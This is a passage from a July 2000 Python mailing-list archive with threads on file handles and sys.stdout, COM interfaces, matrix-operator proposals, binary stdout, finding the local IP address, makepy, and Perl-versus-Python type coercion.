it did, it would be trying to close something different since it won't
still reference the same file.

So one thought would be to just make outputfile an instance variable
(self.outputfile) which will preserve its value.  I would also verify
that your n>90000 clause is actually triggering.  You might use
sys.stderr.write() to write any debugging output to the console since
sys.stdout is redirected.

But I'd also look at how you are handling your file reference.  If
you're going to use outputfile to close the file, you want to be
careful not to leave sys.stdout pointed to it after the close.  If you
need it to work as sys.stdout (e.g., rather than just using
outputfile.write in the other portions of your method), then I'd save
the old sys.stdout in an instance variable, and restore it to
sys.stdout after you close the file.

There's also a small chance that once you have assigned to sys.stdout
that Pythonwin is saving a reference to that somewhere which also
contributes a reference to the open file.  But closing the file
explicitly should still take care of the Windows sharing issues,
although I suppose that might affect Pythonwin's ability to restore
things.  I would worry too much about that until you work out the
actual handling of the outputfile file reference though.

--
-- David
-- 
/-----------------------------------------------------------------------\
 \               David Bolen            \   E-mail: db3l at fitlinxx.com  /
  |             FitLinxx, Inc.            \  Phone: (203) 708-5192    |
 /  860 Canal Street, Stamford, CT  06902   \  Fax: (203) 316-5150     \
\-----------------------------------------------------------------------/


From felipe at spin.ch  Thu Jul 20 20:45:24 2000
From: felipe at spin.ch (felipe wettstein)
Date: 21 Jul 2000 01:45:24 +0100
Subject: Python Module for sequence alignments.
References: <etdg0pppszv.fsf@w20-575-32.mit.edu>
Message-ID: <39776ECD.2D121D6@spin.ch>

hi alex

you wrote:
> Hi.  I made a python module that does simple sequence alignments.  If
> there is enough interest, I may make it a little more elaborate.  You
> can get it from
> 
> http://puffin.lcs.mit.edu:8080/align.tgz
> 
> To use it on linux
> 
> tar zxf align.tgz
> cd align
> make
>
i tried this (and you will see in my question that i am a blody
beginner, but nevertheless, i ask you:)
bla: /align # make
gcc _alignmodule.c -c -o _alignmodule.o \
         I /usr/include/python1.5/ -I /user/include/python1.5/Numeric
_alignmodule.c:2 arrayobject.h: No such file or directory
make: *** [all] Error 1

what did i wrong? is my python not installed well? when it makes sense
to answer please do, whenn you would have to write me a whole manual,
forget it. thanks 

felipe

and then also my linux does not seem to understand what setenv means (i
thought it is kernel 2.2.14, suse6.4), and me i nether do understend.

have a good day

felipe




From piet at cs.uu.nl  Wed Jul  5 09:12:49 2000
From: piet at cs.uu.nl (piet at cs.uu.nl)
Date: 05 Jul 2000 15:12:49 +0200
Subject: Win32 : Making script.py executable in DOS box
References: <8jmjfe$64o$1@nnrp1.deja.com> <WzI75.5714$Tb7.31718@news-server.bigpond.net.au> <8jp3pt$q7j$1@nnrp1.deja.com> <87og4eugz7.fsf@cartman.azz.net>
Message-ID: <uvgykpvou.fsf@cs.uu.nl>

Note that the trick via a .bat file may cause problems with parameters
containing = signs, and with I/O redirections.
-- 
Piet van Oostrum <piet at cs.uu.nl>
URL: http://www.cs.uu.nl/~piet [PGP]
Private email: P.van.Oostrum at hccnet.nl


From alex at magenta.com  Wed Jul 26 04:30:10 2000
From: alex at magenta.com (Alex Martelli)
Date: Wed, 26 Jul 2000 10:30:10 +0200
Subject: Two COM Questions:  QueryInterface, and Callback Inheritance
References: <3pnf5.50267$DH3.1583089@news-east.usenetserver.com> <Zpqf5.12049$4p3.93208@news-server.bigpond.net.au> <Bosf5.51489$DH3.1693859@news-east.usenetserver.com>
Message-ID: <8lm7r402fmm@news1.newsguy.com>

"Christopher Paulicka" <cpaulicka at 8cs.com> wrote in message
news:Bosf5.51489$DH3.1693859 at news-east.usenetserver.com...
    [snip]
> > How to QueryInterface for a new dispatch interface?
    [snip]
> Well, that seems straightforward.  But, I get the following error message:
>  >>> other_s = s._oleobj_.QueryInterface("{new_iid}")
> TypeError: There is no interface object registered that supports this IID

So the IID you're trying to QI for appears not to be registered as an IID.

_IS_ it, in fact, an *INTERFACE* id?  It seems not, from the following
snippet:

> # If I get the type of s, and try to use it's CLSID, that doesn't work.

...right: a CLSID is a class-id, it identifies a coclass, not an interface.
You cannot QI for a CLSID, but only for an IID.

Both CLSID's and IID's are GUID's, but they are registered and used
differently.  You can't QI for a class-id, just as you can't
CoCreateInstance
*without* specifiying a class-id.

>   if ret is not None: ret = win32com.client.Dispatch(ret, 'Duration',
> '{EB5093C7-56F9-11D2-88CE-00C04FA35859}', UnicodeToString=1)
>   return ret
>
> # Now it works fine!

Yep, but the third argument to Dispatch is a class-id, not an IID.


So maybe I've not understood what is it that you're trying to do.  If
you want to access another interface of an object you already have
a reference to, then QI is correct, but you have to specify the interface
identification -- the IID, not the CLSID.  If you want to instantiate a
brand-new object, then the CLSID is correct.  But that is a
substantially different task.


Alex





From see at my.signature  Thu Jul 20 22:03:10 2000
From: see at my.signature (Greg Ewing)
Date: Fri, 21 Jul 2000 14:03:10 +1200
Subject: Operators for everything (was Re: Operators for matrix)
References: <Pine.LNX.4.10.10007180134360.9411-100000@rock.localdomain> <ZW4d5.3559$FA2.391374@nnrp3.clara.net> <oa5dns8idp0ktl6kvlr37ps1ovrip48a0h@4ax.com>
Message-ID: <3977AF5E.552F4F42@my.signature>

John Lull wrote:
> 
> That problem extends far beyond linear algebra, & an ideal solution
> would be applicable to any problem domain in which infix notation is
> greatly preferable.

I second this. The matrix people are being accused of being
selfish by requesting core language extensions for their
particular domain. But that's not what they're asking for
at all.

Python with its overloadable operators can be thought of
as a meta-language for creating domain-specific languages.
But the number of operators is too restricted for it to
be really good in this role. Operator overloading feels like
something tacked on as an afterthought rather than a
serious feature. I don't think it's unreasonable
to consider whether this situation could be improved.

Personally, I think that language that's serious about 
user-defined operators and mathematical domains should 
allow the use of every operator character in the Symbol
font. If those characters are useful enough to be included 
in a standard font, I think they deserve to be available in 
a programming language, too!

In fact, I may just make this my next Python enhancement
project. Anyone know where I can get a Unicode-aware
editor for Mac or Unix?

-- 
Greg Ewing, Computer Science Dept, University of Canterbury,	  
Christchurch, New Zealand
To get my email address, please visit my web page:	  
http://www.cosc.canterbury.ac.nz/~greg


From pehr at pehr.net  Thu Jul  6 22:29:34 2000
From: pehr at pehr.net (pehr anderson)
Date: Fri, 07 Jul 2000 02:29:34 GMT
Subject: How to print to stdout in binary
References: <8k1kn5$mkt$1@nnrp1.deja.com>
Message-ID: <3965408E.DDD4A2@pehr.net>

What platform are you developing on?
under linux I did the following in a file "t.py":

	import sys
	x = open("python.prc", "rb").read()
	sys.stdout.write(x)

[pehr at morseall python]$ python t.py  > t
[pehr at morseall python]$ diff python.prc t

I didn't get any differences when I did this. 
Would you try it and see how it goes?

	-pehr


brianbird at my-deja.com wrote:
> 
> I've seen similar questions to this posted in other language forums,
> but I've not seen anything for Python:
> 
> Does anyone know how to tell python to print the sys.stdout in binary
> rather than plain text. It's mode is set as 'w' and I can't seem to
> change it.
> 
> I'm experimenting with a cgi script which I want to output an image to
> the browser so that the HTML file can have:
> <IMG SRC="test.cgi">
> and the resulting output of the script is an image.
> I've currently got:
> 
> f = open("test.jpg","rb")
> bytes = f.read()
> f.close()
> sys.stdout.print(bytes)
> 
> but I want the output to print in binary mode so that the image can be
> displayed correctly. If I was printing to another file I could open it
> with:
> 
> f2 = open("test2.jpg","wb")
> f2.write(bytes)
> f2.close()
> 
> so is there any way to do this with stdout?
> 
> Thanks
> 
> Sent via Deja.com http://www.deja.com/
> Before you buy.


From solodov at bigfoot.com  Tue Jul 11 12:00:40 2000
From: solodov at bigfoot.com (Peter Solodov)
Date: Tue, 11 Jul 2000 12:00:40 -0400
Subject: checking the existence of a fiel
In-Reply-To: <WaHa5.175$T23.3601@m2newsread.uni2.es>; from frr@mindless.com on Tue, Jul 11, 2000 at 03:37:26PM +0000
References: <WaHa5.175$T23.3601@m2newsread.uni2.es>
Message-ID: <20000711120040.A2677@sympatico.ca>

Here's the code:

try:
    file = open("some_file")
except IOError:
    print 'Error:  Couldn\'t create temp file.'
    sys.exit(0)

Fernando Rodr?guez [frr at mindless.com] wrote:

> Hi!
> 
>     How can I check if a file exists? O:-)
> 
> TIA
> 
> --
> 
> 
> ---------------------------------------
> Fernando Rodr?guez
> 
> 
> -- 
> http://www.python.org/mailman/listinfo/python-list



From mhammond at my-deja.com.bbs  Sun Jul 16 22:30:05 2000
From: mhammond at my-deja.com.bbs (mhammond at my-deja.com.bbs)
Date: 17 Jul 2000 02:30:05 GMT
Subject: Microsoft's C# (Sharp) & .NET -- A Heads Up
Message-ID: <3bQiJT$m5x@openbazaar.net>

In article <396f9d89.25704394 at news.btx.dtag.de>,
  spamfranke at bigfoot.de (Stefan Franke) wrote, regarding Python .NET

[FWIW, the ActiveState page for this stuff is at
http://www.activestate.com/.NET ]

> How will that all impact the future of the CPython / Win32
> integration?

It is just yet another demand on my time.  It certainly does not sound
the death knell for Pythonwin, win32com, or the win32 extensions.

But-sometimes-I-wish-it-did-ly,

Mark.


Sent via Deja.com http://www.deja.com/
Before you buy.


From gwachob at my-deja.com  Wed Jul 26 23:44:22 2000
From: gwachob at my-deja.com (gwachob at my-deja.com)
Date: Thu, 27 Jul 2000 03:44:22 GMT
Subject: BXXP Python project
Message-ID: <8lob6m$ntl$1@nnrp1.deja.com>

Hi Pythoners-
   I've started a project on http://www.bxxp.org
to build a library in Python implementing the
BXXP protocol. We need help in getting this
project moving forward. If you have an interest
in Python network programming and in insuring
that Python remains a viable language for
networked applications in the future, please take
a look at:

http://www.bxxp.org/bxxp/projectPage.jsp?prID=5

   BXXP is a new peer-to-peer protocol framework
for use in designing new applications. The idea
is that an application designer can focus on the
application and not on the details of network
programming.

    -Gabe (gwachob at wachob.com)


Sent via Deja.com http://www.deja.com/
Before you buy.


From Ed_Stauff at avid.com  Mon Jul 31 10:42:21 2000
From: Ed_Stauff at avid.com (Ed Stauff)
Date: Mon, 31 Jul 2000 14:42:21 -0000
Subject: Why won't Python connect to C++ socket on NT?
In-Reply-To: <8m2hrb+g395@eGroups.com>
Message-ID: <8m438d+opvn@eGroups.com>

Oops.  Never mind.  Byte-ordering problem. *SMACK*.

-- Ed





From arhodes at psionic.com.bbs  Mon Jul 17 12:30:04 2000
From: arhodes at psionic.com.bbs (arhodes at psionic.com.bbs)
Date: 17 Jul 2000 16:30:04 GMT
Subject: Getting local IP address...
Message-ID: <3bRIDS$jG8@openbazaar.net>

Here's a tremendously non-portable way to do it for
Linux by reading it straight off the ethernet card...

import string,socket,fcntl
SIOCGIFADDR = 0x8915
ifname = 'eth0'
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
ifr = ifname+'\0'*(16-len(ifname))+chr(socket.AF_INET)+15*'\0'
r= fcntl.ioctl(s.fileno(),SIOCGIFADDR,ifr)
addr = string.join(map(str,map(ord,r[20:24])),'.')
print addr


Aaron
arhodes at psionic.com


Stephen Hansen wrote:
>
>     Nevermind.
>
>     I've discovered i'm intelligent enough to actually chcek Deja and get
> an answer so that i doin't have to spam ya'll with stupid questions :)
>
>     Heh. :)
>
> --S
>
> Stephen Hansen <stephen at cerebralmaelstrom.com> wrote in message
> news:8ko8qr$7cd$1 at nnrp1.deja.com...
> > How do I go about getting my dynamic IP address? I want to make a
> > little program to check periodically (daily or so) and log the results
> > so I can determine how often my IP is getting shuffled. :)
> >
> > Thanks :)
> >
> > --Stephen
> >
> >
> > Sent via Deja.com http://www.deja.com/
> > Before you buy.


From gjohnson at gs.verio.net.bbs  Mon Jul 17 12:50:01 2000
From: gjohnson at gs.verio.net.bbs (gjohnson at gs.verio.net.bbs)
Date: 17 Jul 2000 16:50:01 GMT
Subject: Getting local IP address...
Message-ID: <3bRIcQ$kWM@openbazaar.net>

Why not just do an addr = os.system(ifconfig eth0 | grep inet)
This should return the ip addy of the nic...

Since the way OS's store IP addys is so implementaion dependant, I don't
see how it could be portable unless people start making a posix way of
storing an ip addy on top of the os dependant way

On Monday, July 17, 2000 11:33 AM, Aaron Rhodes [SMTP:arhodes at psionic.com]
wrote:
> Here's a tremendously non-portable way to do it for
> Linux by reading it straight off the ethernet card...
>
> import string,socket,fcntl
> SIOCGIFADDR = 0x8915
> ifname = 'eth0'
> s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
> ifr = ifname+'\0'*(16-len(ifname))+chr(socket.AF_INET)+15*'\0'
> r= fcntl.ioctl(s.fileno(),SIOCGIFADDR,ifr)
> addr = string.join(map(str,map(ord,r[20:24])),'.')
> print addr
>
>
> Aaron
> arhodes at psionic.com
>
>
> Stephen Hansen wrote:
> >
> >     Nevermind.
> >
> >     I've discovered i'm intelligent enough to actually chcek Deja and
get
> > an answer so that i doin't have to spam ya'll with stupid questions :)
> >
> >     Heh. :)
> >
> > --S
> >
> > Stephen Hansen <stephen at cerebralmaelstrom.com> wrote in message
> > news:8ko8qr$7cd$1 at nnrp1.deja.com...
> > > How do I go about getting my dynamic IP address? I want to make a
> > > little program to check periodically (daily or so) and log the
results
> > > so I can determine how often my IP is getting shuffled. :)
> > >
> > > Thanks :)
> > >
> > > --Stephen
> > >
> > >
> > > Sent via Deja.com http://www.deja.com/
> > > Before you buy.
> --
> http://www.python.org/mailman/listinfo/python-list


From loris at caren.demon.co.uk  Tue Jul 25 09:13:24 2000
From: loris at caren.demon.co.uk (Loris Caren)
Date: Tue, 25 Jul 2000 14:13:24 +0100
Subject: Saving PNG files using Win32 PIL
Message-ID: <397D9274.FEB1132D@caren.demon.co.uk>

I've writen a script to generate PNG images using PIL.  It works a treat
under Linux, but when I try to port it to MSWindows, the
PIL/PngImagePlugin spits saying that I don't have a zip encoder. I
already have a copy of pkzip, but I got hold of a copy of gzip.exe and
stuck it in C:\Windows\zip.exe but to no avail. Can anyone confirm that
I need a zip executable, or is the PIL wanting a DLL, etc?




From huaiyu_zhu at yahoo.com  Mon Jul 17 20:42:44 2000
From: huaiyu_zhu at yahoo.com (Huaiyu Zhu)
Date: Mon, 17 Jul 2000 17:42:44 -0700 (PDT)
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators
  for   matrix computation)
In-Reply-To: <39739EEE.D53D9601@roguewave.com>
Message-ID: <Pine.LNX.4.10.10007171657010.2845-100000@rocket.knowledgetrack.com>

On Mon, 17 Jul 2000, Bjorn Pettersen wrote:

> I think you hit the crux of the problem. You want to add syntax that is
> only useful in one domain, and that is too extreme.

I don't buy this dichotomy here: either it is every domain, or it is only
one (meaning limited) domain.  I don't even know if there is a general
meaninful rule to count application domains in integers. 

I haven't yet heard much comment about either

a = ["Alice", "Bob"]
b = " is "
c = ["a girl", "a boy"]
d = a .+ b .+ c

or ESR's comment about using .& and .| for lattice algebra, which I suppose
include union and intersection of sets, among other things.  

What about the example of plotting graphics of server statistics on the web?
Which domain is it: numerical processing or text processing or visual arts?

I don't see such arguments as any different from the claim that string
literals are sintactic sugar for the single domain of text processing only
(web and re and so on being subdomains).  Since by such definition text
processing is a very large domain I do want string literals even just for
this only domain, even if it does not include everything.

A more reasonable threshold along these lines would be "sufficiently wide",
but I don't see we are going to get clear consensus on that point so I won't
continue on this topic.

> Why don't you create a preprocessor that converts
> 
>   a .* b
> 
> into
> 
>   elementWiseMultiply(a,b)
> 
> and create an appropriate suffix for your matlab/python files (mpy?)
> It's a pretty easy thing to do, and sounds much more appropriate in this
> situation.

This could work if there is a hook so that 

import mymodule

would automatically run

preprocessor < mymodule.mpy > mymodule.py

anywhere in the path.  It should do this after examining the timestamp just
like current import does.  Otherwise after a few surprises people would keep
.py instead of .mpy so it is just a helper for writing, but not useful for
extending or maintaining code,

On the other hand, if there is an introspective module that affects how the
parser reads the rest of the file it would be eminently useful.

Huaiyu




From alex at magenta.com  Mon Jul 10 05:59:39 2000
From: alex at magenta.com (Alex Martelli)
Date: Mon, 10 Jul 2000 11:59:39 +0200
Subject: How to use makepy?
References: <8k9o91$7b1$1@supernews.com> <8k9tot$5o$1@supernews.com>
Message-ID: <8kc71a0tf6@news2.newsguy.com>

"Dale Strickland-Clark" <dale at out-think.NOSPAM.co.uk> wrote in message
news:8k9tot$5o$1 at supernews.com...
> Well, all this seemed to do was break an existing working program. I've
had
> to delete the \gen_py folder to get things working again.
>
> I am confused now.
>
> Anyone got any idea how to use makepy?

I see you're received good and helpful replies, just wanted to add one
thing: in
my limited experience, when makepy breaks working code it's most of the
time because of case-sensitivity issues.  I.e.: with late-bound Automation,
which
is what you're using absent makepy, the name of methods and properties are
matched without regard to case; once you early-bind (with makepy), case does
become significant, though.  So, if the real name of a method is Method, and
you were calling it like this:

    anobject.method()

that will break; you'll have to change the call to

    anobject.Method()


This seems unfortunate to me, but I don't see what could easily be done
about
it.  I believe case-insensitivity is in the Automation specs (by Microsoft),
maybe
because Visual Basic (for which language so much of Automation was thought
of) is also case-insensitive; but once you early-bind, if you're using a
case
sensitive language (not just Python, but also, for example, C++), then the
language's rules will prevail.  Maybe a __getattr__ override on makepy-built
objects would work, but it feels kludgey and perhaps slow, too.


Alex





From arnold at dstc.monash.edu.au  Wed Jul  5 18:18:44 2000
From: arnold at dstc.monash.edu.au (David Arnold)
Date: Thu, 06 Jul 2000 08:18:44 +1000
Subject: MAPI/COM: where is the server? 
In-Reply-To: Your message of "Wed, 05 Jul 2000 22:04:57 GMT."
             <diO85.3111$iN5.764889@ptah.visi.com> 
Message-ID: <200007052218.IAA26977@xevious.dstc.monash.edu.au>

-->"Grant" == Grant Edwards <ge at nowhere.none> writes:

  Grant> If it's talking directly to Exchange server, then there's a
  Grant> possibility I could do the same thing from Linux using either
  Grant> Software AG's product or GCOM.

what's GCOM?  (sorry, google reveals nothing useful ...)



d



From grey at despair.rpglink.com  Fri Jul 28 04:11:18 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Fri, 28 Jul 2000 08:11:18 GMT
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com>
Message-ID: <slrn8o2ft4.1e2.grey@teleute.rpglink.com>

On Fri, 28 Jul 2000 01:24:08 -0400, Tim Peters <tim_one at email.msn.com> wrote:
>Steve, in case it isn't clear yet, Python programmers *want* to be blown out
>of the water when doing something as senseless as

>    1 + "foo"

    It isn't senseless.  That is the whole point.  It is only senseless
because of typing.  Clearly you cannot add a word to a number, granted.  But
what of 1 + "1"?  That isn't senseless, those are two numbers.  I can see they
are two numbers, it is only because of typing that it fails.  

    So I ask you this /VERY/ simple question.  Why can't Python do both?  Hm?
What is wrong with taking 1 + "1", converting the "1" to a 1 and adding it
together?  If it is a string that cannot be converted to an integer, throw an
exception, otherwise, do it.  Then that preserves the 1 + "foo" exception and
also does the sane thing of getting rid of types when it makes sense to do so.

    Hell, why do an exception at all?  Why not do what is already done with
integers, reals and floats?  

1 + 1 = math

1 + "1" = math

1 + "foo" = string ("1foo")

"foo" + "foo" = string ("foofoo")

    You already accept:

1 + 1 = integer

1 + 1.2 = float

1 + 1j = complex

    So please don't tell me you don't want "automagic" type changing when it
is already there and, I'd wager, you use it extensively.

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From Gareth.McCaughan at pobox.com  Fri Jul 28 14:50:27 2000
From: Gareth.McCaughan at pobox.com (Gareth McCaughan)
Date: Fri, 28 Jul 2000 19:50:27 +0100
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com>
Message-ID: <slrn8o3lfj.17lq.Gareth.McCaughan@g.local>

Steve Lamb wrote:

> a = None
> list(a)
> a = 1 
> list(a)
> a = 123
> list(a)
> a = "abc"
> list(a)
> 
> To me all of those could be converted into lists yet only the last one is.
> Why do I say that?  

Because you'd like not to distinguish between a single object
and a list containing only that object. I think that's a mistake.
If you want to turn 1 into a single-element list, you can do
it in the simplest way imaginable: [1]. That's *building*
a list, not *converting* to one, though; and the distinction
matters.

But, I hear you cry, it doesn't matter. We shouldn't distinguish.
1 is 1 and all alone and ever more shall be so, and it's the same
thing as "1" and (1,) and "one" and "I" and "un" and {{}} and ...
er, sorry, I got a little carried away. Anyway, I don't agree
with you. What's "foo" + "bar"? What's "1" + "2"? What's 1 + 2?
I claim there are Obviously Right answers to the first and
third of those questions, and there's no way to answer the
question in the middle that will be consistent with both.
Perl says that "foo"+"bar" isn't legal; you have to use a
completely different operation for string concatenation. I
don't like that. Still less do I like the fact that in Perl
"foo" == "bar". When you're comparing objects, you need to
know when you write the comparison code whether they're
numbers or strings. And how do you compare arrays? Um.

Implicit coercions save you some keystrokes. You don't
have to say "int()" or "float()" or whatever. Perhaps that
would matter to me if my coding speed were limited by my
typing speed: but it isn't. Especially not for non-trivial
programs in Perl. It's limited by my ability to keep stuff
in my head. Python is much easier to read fluently than
Perl is, and that means I don't have to remember so much
or think so hard just to understand what a fragment of
code does; and that means I code much faster in Python
than I do in Perl.

(And, before you ask: I knew Perl before I knew Python.
I've used it a lot. I'm not basing my arguments on
having known Python for years, tried out Perl once,
and found it hard. And I still use Perl in preference
to Python for some text-manipulation tasks.)

Let's go back to those examples for a minute. What do you
want list("123") to be? ["123"] or ["1", "2", "3"]? If the
former, then you're losing sight of the fact that a string
is *obviously* a string of characters. If the latter, then
you're saying that you want 123 <-> "123" but [123] <-> ["1", "2", "3"].
Ouch.

>     None could be converted into an empty list.  None is nothing.  I fail to
> see how you can't populate a list with a single nothing.

So do you want [None] or []? Heck, 0 is nothing too; why
not say that 123+None = 123, too? I suppose list(0) should
yield [] rather than [0], since 0 is nothing and nothing
is an empty list.

And a ham sandwich is better than eternal happiness,
because nothing is better than eternal happiness and
a ham sandwich is better than nothing. I prefer my
programming languages *not* to encourage puns like
this.

>     1 is a single value.  I fail to see why that cannot be converted to [1]
> which is allowed, btw. 
> a = [1]
> a

That isn't a conversion. It's building a list. There are
important differences; for instance, [x] is always a 1-element
list containing only x. There's no way to make that true of
list(x), since e.g. we obviously must have list(x) == x when
x is already a list. (If you think that list(x) should always
be a 1-element list containing x, then I conclude that you've
just misunderstood the name; the function you want is already
available, and it's written [x].)

>     "abc" could either be a single value or a sequence.  It is converted
> as ["a", "b", "c"].  Of course, the same /could/ be said for the above.
> However, let's play around with this one since it is the only one that
> works somewhat as expected in conversion.

On the contrary, the others all work *exactly* as I expect,
and strings are the ones that are a little counterintuitive.

> a = "abc"
> a
> a = list(a)
> a = str(a)
> a
> 
>     a is now "['a', 'b', 'c']".  Which means we split a string up when
> converting to list but don't concatinate on the way back.

list() and str() were never meant to be inverses. list() is
for converting arbitrary sequences into lists. str() is for
producing string representations of arbitrary objects.

>     How did I run across this?  Because I wanted to create an empty name each
> time a class instance is created.  Since I was building the class I didn't
> know if I was going to use a list or a str.  I figure I could just set it
> to None and then manipulate it later.  Nope.  Couldn't even convert it even
> though the conversion seems quite straightforward to me.  None into any
> structure should yield and empty of that structure.  We can have empty
> strings, tuples, lists and directories.

None doesn't mean "empty object". It means "no object". There's
a big difference, whether or not you care to recognise it. As
big as the difference between "no bottles" and "an empty bottle",
which is insignificant only if all you care about is the beer. :-)

>                                          Funny thing, though.  I can do this
> and it works just fine:
> 
> a = None
> a = ""
> 
>     Amazing, that.  Automagical conversion from None to an emptry string on
> the assignment operator.  Actually, we both know, and correct me as I may be
> wrong, that it is really reassigning the data space a is pointing to.

Seems like a very strange way of putting it, but yes.
I don't see any reason why you should think it's "amazing"
or "automagical", still less "conversion".

>     However, if we want to create the namespace with nothing we cannot
> because we cannot convert it for later use.  Thus, we are back to
> declaring variables except this time we're doing it with automagical
> (implicit) means instead of explicit.

What on earth do you mean? The following isn't illegal at all.

    class Foo:
      def __init__(self):
        self.name = None
      def rename(self, name):
        self.name = name
      def __str__(self):
        return "<Foo: %s>" % self.name

    a = Foo()
    a.rename("wombat")
    print a

    b = Foo()
    b.rename([1,2,3])
    print b

This will print
    <Foo: wombat>
    <Foo: [1,2,3]>

What's your problem?

>     I just don't understand how people can advocate for types and the
> restrictions they impose while, on the other hand, embracing a language that
> is free enough to shoot yourself in the foot by reassigning None.

It's pretty hard to reassign None by accident.

It's pretty easy to say "print 'yes!' if ($a == $b);"
and forget that $a and $b might be strings.

I shoot myself in the foot a *lot* less with Python than
I ever have with Perl.

-- 
Gareth McCaughan  Gareth.McCaughan at pobox.com
sig under construction


From mwh21 at cam.ac.uk  Mon Jul 24 16:35:34 2000
From: mwh21 at cam.ac.uk (Michael Hudson)
Date: 24 Jul 2000 21:35:34 +0100
Subject: Operators for everything (was Re: Operators for matrix)
References: <m3em4ld5t3.fsf@atrus.jesus.cam.ac.uk> <memo.20000724210456.47597A@digitig.compulink.co.uk>
Message-ID: <m34s5fclm1.fsf@atrus.jesus.cam.ac.uk>

digitig at cix.co.uk (Tim Rowe) writes:

> In article <m3em4ld5t3.fsf at atrus.jesus.cam.ac.uk>, mwh21 at cam.ac.uk 
> (Michael Hudson) wrote:
> 
> > Sorry, but eh?  I fail to understand you, I think.
> > 
> > Example usage of what I'm talking about:
> > 
> > def add(x,y):
> >     return x + y
> > 
> > 1 @add 1
> >   ==> 2
> 
> My problem is that identifiers that refer to overloaded infix operators 
> must begin with a @ (and presumably any identifier beginning with @ must 
> be an overloaded infix operator). Hey, why not force integers to begin 
> with a %, strings with a $...
> 
> I don't like it because it makes programs harder to read. One of the 
> reasons I don't like Perl is that it tends to look as if the whole program 
> is obscene and has been censored with $@**!& special symbols! One of the 
> advantages of Python is that there is little of this nonsense, and I would 
> hate to see it added to. I don't think extensible infix is worth it.

Oh, fair enough.  That's not what I read in your first post, though!
(I just re-read it, and it still makes very little sense to me...)

> By the way, /I'd/ expect x add y to set x to x + y, leave y alone and 
> return None (or x + y if this were comp.lang.c). I'd expect x plus y to 
> have the behaviour you expect of add. I'm undecided whether that's a 
> problem with infix or the perennial problem of choosing good identifiers!

Crikey, are you an assembly programmer?  I took the name from the
__add__ special method name... (to me, plus is the symbol, addition is
the operation; would you prefer __star__ to __mul__).

pointless-ly y'rs
M.

-- 
  Arrrrgh, the braindamage!  It's not unlike the massively
  non-brilliant decision to use the period in abbreviations 
  as well as a sentence terminator.  Had these people no 
  imagination at _all_?                 -- Erik Naggum, comp.lang.lisp


From hzhu at localhost.localdomain  Fri Jul 21 02:44:21 2000
From: hzhu at localhost.localdomain (Huaiyu Zhu)
Date: Fri, 21 Jul 2000 06:44:21 GMT
Subject: [long and fussy] But what do these operators _mean_?
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l899g$6f5$1@agate.berkeley.edu>
Message-ID: <slrn8nfsh3.rb.hzhu@localhost.localdomain>

On 21 Jul 2000 01:33:36 GMT, Edward Jason Riedy <ejr at lotus.CS.Berkeley.EDU>
wrote: 
>Quick summary:  Maybe there needs to be a numerics-sig before any 
>of these changes are adopted...

Yes.

>And Huaiyu Zhu writes:
> - 
> -    (4) Similarity with Matlab (but not really compatibility). 
>
>Take care here.  Matlab has made many arbitrary choices that kill
>consistency.  Their treatment of 1x1 `matrices' has been discussed
>to death in the NA-digest.  And the lack of algorithm specification
>for matrix /, \, etc. has caused more than a few surprises.

This is a good one.  In MatPy 1x1 matrix is different from a scalar.

>
> -    Notation: To avoid confusion, I'll adopt matlab notation and invent 
> -    a set of unique names in the following discussions:
>
>I'll trade all the fuss over notation for fuss over _definitions_.
>I'm accustomed to using xGEMM, xGESVX, etc. in any language.  Why
>those rather than whatever the language throws at me?  They're
>well-defined.  I know their error bounds and behavior in the face 
>of floating-point oddities.  Give me those definitions, and I'll 
>take almost any notation.  Hell, I've been putting up with the
>BLAS and LAPACK naming scheme.

Concerning the semantics of these operators, I think we only need a general
agreement, leaving out algorithmic specifications to various packages.  The
advantage of Python over Matlab really shows here: Only the association
between .* and __dotmul__ would be built into the language.  The association
between __dotmul__ and the actual implementation is handled by the classes
that define __dotmul__.  Whichever package you import you'll know its
complete specification.  The advantage is that this allows natural migration
towards better algorithms without breaking any existing code.  (Cf the
migration from regex to re.)

>Before anyone adds new notations for operations, you need to be 
>sure you have definitions for those operations.  And good definitions
>will exacerbate some of the numeric issues in Python.  For example,

Imho, the only possible resolution on this is to only provide pure math
definition of these operators in the core language, leaving numerical
specification to the packages that implement them.  No one could prove that
any of the numerical algorithms used today would be optimal forever, anyway.

>Python doesn't provide reasonable ways to test for Inf or NaN.  These
>are needed in new eigenvalue routines (the only known optimal ones).
>Yes, I know, there are some non-IEEE architectures left, but they
>shouldn't be encouraged.  (Keep in mind that I'm at Berkeley; expect 
>a strong IEEE-754 bias.)

Agreed.  Although this is not the topic here, it is really a big drag. How
do Octave handle this on all platforms?  I support the idea that Python
should use IEEE whenever possible, as I don't buy Java's philosophy of using
the common minimum of every platform.

Would a NonIEEEError be possible?  That might help users on those platforms
to invoke their own error handling routines by catching this exception.

[snip.  Good links to various specifications. ]

> -    - How to deal with left division?
>
>How to compute it?  Iterative or direct?  With what pivoting 
>strategy if direct, or preconditioning if iterative?  For which 
>matrix sizes?  What about symmetric matrices?  Treating them as 
>unsymmetric adds a _lot_ of error.

I suppose that for any matrix class there could be many subclasses, such as
symmetric matrix, triangular matrix, sparse, symmetric sparse, etc.  For
each of them the methods could be overridden to use the optimal algorithm
for that specific type.  Once the general framework is settled, users
needing special cases would be able to contribute implementations without
fearing collisions with others.  Unlike matlab that is not object oriented,
in python such selections of implementation can be dealt with by special
classes instead of special methods.

For really precision or efficiency critical applications, I think nothing
beats special subclass where the user can fine tune the definition of every
methods.

>There's the possibility of Python being _better_ than Matlab, Octave, 
>SciLab, etc. and not just being equal to them.

Complete agreement here.  

Huaiyu


From matthias.huening at univie.ac.at  Mon Jul 24 06:58:06 2000
From: matthias.huening at univie.ac.at (Matthias Huening)
Date: Mon, 24 Jul 2000 12:58:06 +0200
Subject: Variables in strings..
References: <81324605608.20000724121203@buz.ch> <397C393F.E4AFEBB4@schneider-kamp.de>
Message-ID: <8lh7gf$6702$1@www.univie.ac.at>

Peter Schneider-Kamp <peter at schneider-kamp.de> schrieb in im Newsbeitrag:
